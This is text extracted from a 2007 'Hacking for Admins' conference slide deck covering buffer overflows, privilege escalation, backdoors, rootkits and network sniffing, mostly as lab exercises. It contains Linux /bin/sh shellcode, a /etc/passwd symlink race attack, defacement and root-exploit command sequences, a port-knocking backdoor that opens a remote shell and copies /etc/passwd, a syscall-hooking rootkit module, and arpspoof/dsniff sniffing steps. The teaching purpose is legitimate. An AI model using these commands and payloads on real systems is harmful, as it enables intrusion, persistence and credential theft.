Gaining Access-- Buffer Overflow --➤ Stack Based Buffer Overflows
➤ Off-by-One Overflows
➤ Frame Pointer Overwrites
➤ BSS Overflows
➤ Heap Overflows
01./02.02.2007 linuxdays.lu 2007
44Gaining Access-- Stack Based Buffer Overflow --➤ C/C++ problem
➤ programming error
➤ Copy to much variable user input into fixed sized buffer
#include <stdio.h>
int main()
{
char name[31];
printf("Please type your name: ");
gets(name);
printf("Hello, %s", name);
return 0;
}
Buffer overflow occur if you enter
`1234567890123456789012345678901234567890`
01./02.02.2007 linuxdays.lu 2007
45Gaining Access-- Stack Based Buffer Overflow --Exploitation:
-- Missing bounds checking
-- Mutiple „unsafe“ functions in libc
-- Executing code in the data/stack segment
-- Creating the to be feed to the application
Memory layout of a process:
CodeDataStack high addresslow addressno ‘execution’ attribute set‘read-only’ attributeLIFO – top of the stackBSSHeap01./02.02.2007 linuxdays.lu 2007
46Gaining Access-- Stack Based Buffer Overflow ---- Stack holding all the information for the function
-- Stack is created at the beginning of a function
-- Stack is released at the end of a function
-- LIFO mechanism to pass arguments to
functions and to reference local variables
voidfunction (void){[ ... ]}intmain (void){int a;function (argv[1])[ ... ]}StackFrame 1Frame 2 EBP
ESP
EIP: Extended Instruction Pointer
EBP: Extended Base Pointer
ESP: Extended Stack Pointer
POP
PUSH
- function parameters
- local variables
- data to recover previous frame
01./02.02.2007 linuxdays.lu 2007
47Gaining Access-- Stack Based Buffer Overflow --voidfunction (char *args){char buff[512];strcpy (buff, args);}intmain (int argc, char *argv[]){if (argc > 1){function (argv[1]);} elseprintf ("no input\n");return 0;}Stackfunction ()
Frame 2
main ()
Frame 1
Return Address
123SFP
4local variables
buff[512]
args
EIP: Extended Instruction Pointer
EBP: Extended Base Pointer
ESP: Extended Stack Pointer
SFP
saved registers
local variables
ESP
saved registers
args
EBP
EIP
Return Address EIP
01./02.02.2007 linuxdays.lu 2007
48Gaining Access-- Stack Based Buffer Overflow --voidfunction (char *args){char buff[512];strcpy (buff, args);}intmain (int argc, char *argv[]){if (argc > 1){function (argv[1]);} elseprintf ("no input\n");return 0;}Stack1234buff[512]
5Wrong Return
SFP
args
EBP
saved registers
local variables
saved registers
args
function ()
Frame 2
main ()
Frame 1
Return Address
01./02.02.2007 linuxdays.lu 2007
49Gaining Access-- Stack Based Buffer Overflow --voidfunction (char *args){char buff[512];strcpy (buff, args);}intmain (int argc, char *argv[]){if (argc > 1){function (argv[1]);} elseprintf ("no input\n");return 0;}123456Stackbuff[512]
SFP
args
EBP
saved registers
local variables
saved registers
args
function ()
Frame 2
main ()
Frame 1
Wrong Return
Return Address
01./02.02.2007 linuxdays.lu 2007
50Gaining Access-- Stack Based Buffer Overflow --voidfunction (char *args){char buff[512];strcpy (buff, args);}intmain (int argc, char *argv[]){if (argc > 1){function (argv[1]);} elseprintf ("no input\n");return 0;}Stack0x0A00
1234560x0800
0x0A00
shellcode 0x0C00
shellcode
nop
nop
0x0A00
0x0A00
function () 0x0A00
Frame 2
main ()
Frame 1
01./02.02.2007 linuxdays.lu 2007
51Gaining Access-- Shellcode --char linux_ia32_shellcode[]="\x31\xc0" /* xorl %eax,%eax */"\x50" /* pushl %eax */"\x68""//sh" /* pushl $0x68732f2f */"\x68""/bin" /* pushl $0x6e69622f */"\x89\xe3" /* movl %esp,%ebx */"\x50" /* pushl %eax */"\x53" /* pushl %ebx */"\x89\xe1" /* movl %esp,%ecx */"\x99" /* cdql */"\xb0\x0b" /* movb $0x0b,%a1 */"\xcd\x80" /* int $0x80 */Old school payload: bindshell, backconnect01./02.02.2007 linuxdays.lu 2007
52Gaining Access-- Exercise: Web Site defacement --$ cd /home/hamm/ssl/$ ls –la$ ./openSSL 0x73 192.168.22.21 443 –c 40/usr/bin/whoamiecho "hacked by me….. " > /var/www/html/index.html- Unprivileged user -> local user privileges escalation
01./02.02.2007 linuxdays.lu 2007
53Gaining Access-- Exercise: Web Site defacement --What do we see on the Firewall???
01./02.02.2007 linuxdays.lu 2007
54Gaining Accessprimary target webserver-- why they are so vulnerable --➤complex application
➤multiple subsystems:
application server, scripts, sql-server
➤self made applications:
programmers don’t know how to write secure code
➤Shell-Command-Injection:
bypass commands through the shell
Input: "Alice; rm - rf"
➤SQL-Injection
bypass SQL Commands by User input
Input: "User=Alice' -&Pass=Idontknow"
01./02.02.2007 linuxdays.lu 2007
55Hacking Techniques1. Reconnaissance2. Scanning3. Gaining Access4. Maintaining Access5. Clearing Tracks01./02.02.2007 linuxdays.lu 2007
56Maintaining Access-- be silent --➤after a successful initial attack
➤ hide the tracks from logfiles
➤ expand local rights; find vulnerabilities in network
➤ install rootkits, steal password database, start
network sniffer
➤ try same password on other systems
➤ find problems in topology (ex. dual homed hosts)
➤ try to attack the private network
01./02.02.2007 linuxdays.lu 2007
57Maintaining AccessPrivileges Escalation-- Race Condition --what could I try to attack?
- SUID / SGID binaries
find / -perm –4000 –type f –user root –printfind / -perm –2000 –type f –group root –print- privileged process
- Kernel
- password file
Source of problems?
- configuration error
- local software vulnerabilities
-- buffer overflow
-- race condition
-- format string
01./02.02.2007 linuxdays.lu 2007
58Maintaining AccessPrivileges Escalation-- example: race_bug --#include <stdio.h>#include <unistd.h>intmain (int argc, char *argv[]){char path[] = "/tmp/race.txt"FILE *fp;fp = fopen (path, "a+");fprintf (fp, "%s\n", argv[1]);fclose (fp);unlink (path);return 0;}01./02.02.2007 linuxdays.lu 2007
59Maintaining AccessPrivileges Escalation-- example: race_bug --Prepare attack
$ cd /home/hamm/race$ ls –la$ ./race_bug test$ ls –la /tmp$ cat /etc/passwd$ su -; cp /etc/passwd /etc/passwd.bak; exitAttak:
$ ln –s /etc/passwd /tmp/race.txt$ ls –la /tmp$ cat command$ ./command$ ls –la /tmp$ cat /etc/passwd$ su – bimbam# id01./02.02.2007 linuxdays.lu 2007
60Maintaining AccessPrivileges Escalation-- Exercise: privileges escalation --$ su –# cd /home/hamm/ssl/# ls –la# cp p /tftpboot# /etc/init.d/atftpd start# exit$ ./openSSL 0x73 192.168.22.21 443 –c 40/usr/bin/whoamipwd/usr/bin/tftp 192.168.22.1mode binary # local root exploitget p # kernel 2.2.x 2.4.xquitls –lchmod +x pls –l./pwhoami01./02.02.2007 linuxdays.lu 2007
61Maintaining AccessPort Knocking-- introduction --Aka Port Knocking Back Door
- Open Port?????
- no promisc mode, no open ports
- raw sockets
- trigger for special packets to get activated
- attacker:
-- send trigger pkg1
-- send trigger pkg2
-- send trigger pkg3
-- send command pkg1
- example: Sadoor
http://cmn.listptojects.darklab.org
Port 80, 443 open; statefull01./02.02.2007 linuxdays.lu 2007
62Maintaining AccessPort Knocking-- Sadoor example --Sadoor daemon configuration: /etc/sadoor/sadoor.pkts
# key 1
keypkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
icmp {
type = 8;
}
}
}
# key 2
keypkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
tcp {
flags = SYN;
dport = 80;
sport = 3456;
}
}
}
01./02.02.2007 linuxdays.lu 2007
63Maintaining AccessPort Knocking-- Sadoor example --Sadoor daemon configuration: /etc/sadoor/sadoor.pkts
# key 3
keypkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
udp {
dport = 111;
data { bim\x20bam }
}
}
}
# command
cmdpkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
tcp {
sport = 80;
sport = 12345;
}
}
}
01./02.02.2007 linuxdays.lu 2007
64Maintaining AccessPort Knocking-- Sadoor example --Create a config-image database
and download it to /home/hamm/.sash
mksadbmv sadoor.db /var/www/html/chmod 644 /var/www/html/sadoor.dbRun the daemon
/usr/sbin/sadoorReview logging
tail –f
/etc/sadoor/sadoor.log01./02.02.2007 linuxdays.lu 2007
65Maintaining AccessPort Knocking-- Sadoor example --ON CLIENT side:
1. Download
http://testwww.mumm.lu/sadoor.db2. become root
cdcd .sashmv /home/hamm/sadoor.db .sadbcat sadoor.db sash.db # create encrypted dbrm –f sadoor.db # delete plain sequence3. Sending commands
sash 192.168.22.24 \–vv –r "cat /etc/passwd > /var/www/html/test.txt"sash 192.168.22.24 "chmod 644 /var/www/html/test.txt"4. Establish a connection / remote shell
sash 192.168.22.24 –vvsh-2.05b# whoamish-2.05b# /sbin/ifconfigsh-2.05b# exit01./02.02.2007 linuxdays.lu 2007
66Hacking Techniques1. Reconnaissance2. Scanning3. Gaining Access4. Maintaining Access5. Clearing Tracks01./02.02.2007 linuxdays.lu 2007
67Clearing TracksRootkits-- introduction --Main goals of a rootkit:
- hide activities of an attacker to the legal administrator
-- active processes
-- directories & files
-- network activities
- provide a backdoor to the system
- let the attacker become root whenever he want
- collect sensitive data
-- from network
-- from user input
01./02.02.2007 linuxdays.lu 2007
68Clearing TracksRootkits-- introduction --1th generation: Binary Rootkits
- replace important system tools by modified versions:
-- du(1), locate(1), netstat(1), ps(1), top(1),
-- ifconfig(1), w(1), who(1), …..
- defined parameters will become invisible in the future:
-- IP Addresses
-- directories & files
-- usernames
- easy to discover:
-- by filesystem inegrity checker: -- tripwire, -- aide
- examples: Irk3-6, (Linux), Fbrk (FreeBSD), Solaris Rootkit
01./02.02.2007 linuxdays.lu 2007
69Clearing TracksRootkits-- introduction --2th generation: LKM (Loadable Kernel Modules) Rootkits
- expand the functionality of the kernel
- can be loaded dynamically: insmod(3), rmmod(3)
- implemented as device driver
-> high level of flexibility
- implementations:
-- new modules
-- infecting existing modules
- result: trojaned kernel à full control over all userland apps.
01./02.02.2007 linuxdays.lu 2007
70Clearing TracksRootkits-- introduction --2th generation: LKM (Loadable Kernel Modules) Rootkits
- syscalls: a gate between userland and kernel
- example for syscalls:
trace /bin/lsexecve(…uname(…brk(0)old_mmap(…access(…open(…open(………01./02.02.2007 linuxdays.lu 2007
71Clearing TracksRootkits-- introduction --2th generation: LKM (Loadable Kernel Modules) Rootkits
- normal syscall:
parameter intoregisters int 80selection of theinterrupt handlerInterrupt handler:syscall selectionExec syscallexample: mkdirUserlandKernelInterrupt Descriptor Table(IDT)Syscall Table01./02.02.2007 linuxdays.lu 2007
72Clearing TracksRootkits-- introduction --2th generation: LKM (Loadable Kernel Modules) Rootkits
- manipulated syscall:
parameter intoregisters int 80selection of theinterrupt handlerInterrupt handler:syscall selectionExec syscallexample: mkdirUserlandKernelInterrupt Descriptor Table(IDT)Syscall TableExec syscallmanipluated: mkdir01./02.02.2007 linuxdays.lu 2007
73Clearing TracksRootkits-- introduction --2th generation: LKM Rootkit: Exercise: mkdir_Rootkit
#define MODULE /* the new mkdir syscall */#define __KERNEL__ int hack_mkdir (const char *path) {printk ("BimBam!\n");#include <linux/module.h> return 0;#include <linux/version.h> }#include <linux/kernel.h>#include <sys/syscall.h> int init_module (void) {#include <stdio.h> orig_mkdir=sys_call_table[SYS_mkdir];sys_call_table[SYS_mkdir]=hack_mkdir;MODULE_LICENSE("GPL"); return 0;}/* import syscall table */extern void *sys_call_table[]; void cleanup_module (void) {sys_call_table[SYS_mkdir]=hack_mkdir;/* dummy for old mkdir syscall */ }int (*orig_mkdir) (const char *path);01./02.02.2007 linuxdays.lu 2007
74Clearing TracksRootkits-- introduction --2th generation: LKM Rootkit: Exercise: mkdir_Rootkit
cd /root/rootkit/mkdirgcc –c –I /usr/src/linux/include mkdir.cinsmod mkdir.olsmodmkdir testls –lacat /var/log/messagesrmmod mkdirlsmodmkdir testls –laClearing TracksRoot kits-- introduction --2th generation: LKM Rootkit: Adore
cd /root/rootkit/adore/insmod adore.olsmodinsmod cleaner.olsmodrmmod cleanerlsmodps aux | grep ssh./ava i <PID SSHD>ps aux | grep sshnetstat –punta | grep 22mkdir /root/rootkit/bimbam./ava h /root/rootkit/bimbamls –la /root/rootkit./ava –U dummy01./02.02.2007 linuxdays.lu 2007
76Clearing TracksRootkits-- introduction --3th generation: (Virtual File System) VFS Layer Rootkit
- sys_call_table is not exported anymore
-- Red Hat 8.0 (Kernel 2.4.18)
-- Kernel 2.5.41 à
- all Syscalls which access the Filesystem make use of
the Virtual File System
- in Unix, most of all is handled like a file
- existing Handler-Routines are replaced by modified one
à files/folder could be hidden
à via /proc hidding of processes
01./02.02.2007 linuxdays.lu 2007
77Clearing TracksRootkits-- introduction --3th generation: (Virtual File System) VFS Layer Rootkit
parameter intoregisters int 80selection of theinterrupt handlerInterrupt handler:syscall selectionUserlandKernelInterrupt Descriptor Table(IDT)Syscall Tableext2/ ext3/ ...VFSSyscall01./02.02.2007 linuxdays.lu 2007
78Hacking TechniquesInsider Attacks01./02.02.2007 linuxdays.lu 2007
79Insider Attacks-- Password Sniffing true a Switch --Default GatewayIP: 10.10.10.1MAC: 11:11:11:11:11:11IP: 10.10.10.99MAC: 99:99:99:99:99:99Attacked PCIP: 10.10.10.2MAC: 22:22:22:22:22:22ARP Reply IP 10.10.10.1 MAC 99:99:99:99:99:99No gratuitous ARP, BUT directed ARP:ETHERNET IIDst: 22:22:22:22:22:22SRC: 99:99:99:99:99:99ARP reply:Sender IP addr: 10.10.10.1Sender MAC addr: 99:99:99:99:99:9901./02.02.2007 linuxdays.lu 2007
80Insider Attacks-- Password Sniffing true a Switch --Telnet Client:IP: 192.168.3.3IP: ___.___.___.___Telnet Server:IP: 192.168.3.4IP: ___.___.___.___Exercise:
1. echo 1 > /proc/sys/net/ipv4/ip_forward2. arpspoof –i eth0 –t 192.168.4.30 192.168.4.283. dsniff -cnAttacker:IP: 192.168.3.2MAC: 00:08:74:B3:BB:F1IP: ___.___.___.___MAC: __:__:__:__:__:__01./02.02.2007 linuxdays.lu 2007
81Insider AttacksSSH MitM Attack-- by DNS Spoofing --SSH Server:IP: 192.168.3.3DNS Server:IP: 158.64.4.Default Gateway:IP: 192.168.3.1Attacker:IP: 192.168.3.2Target: SSH Client:IP: 192.168.3.xxDNS Response (server_xyz.lu, 192.168.3.2)DNS Query (HOST: server_xyz.lu)01./02.02.2007 linuxdays.lu 2007
82Insider AttacksSSH MitM Attack-- by DNS Spoofing --01./02.02.2007 linuxdays.lu 2007
83Insider AttacksSSH MitM Attack-- by DNS Spoofing --SSH Server:IP: 192.168.3.3DNS Server:IP: 158.64.4.Default Gateway:IP: 192.168.3.1Attacker:IP: 192.168.3.2Target: SSH Client:IP: 192.168.3.xx01./02.02.2007 linuxdays.lu 2007
84Hacking for Admins
by
Shankha {Fainted Brain}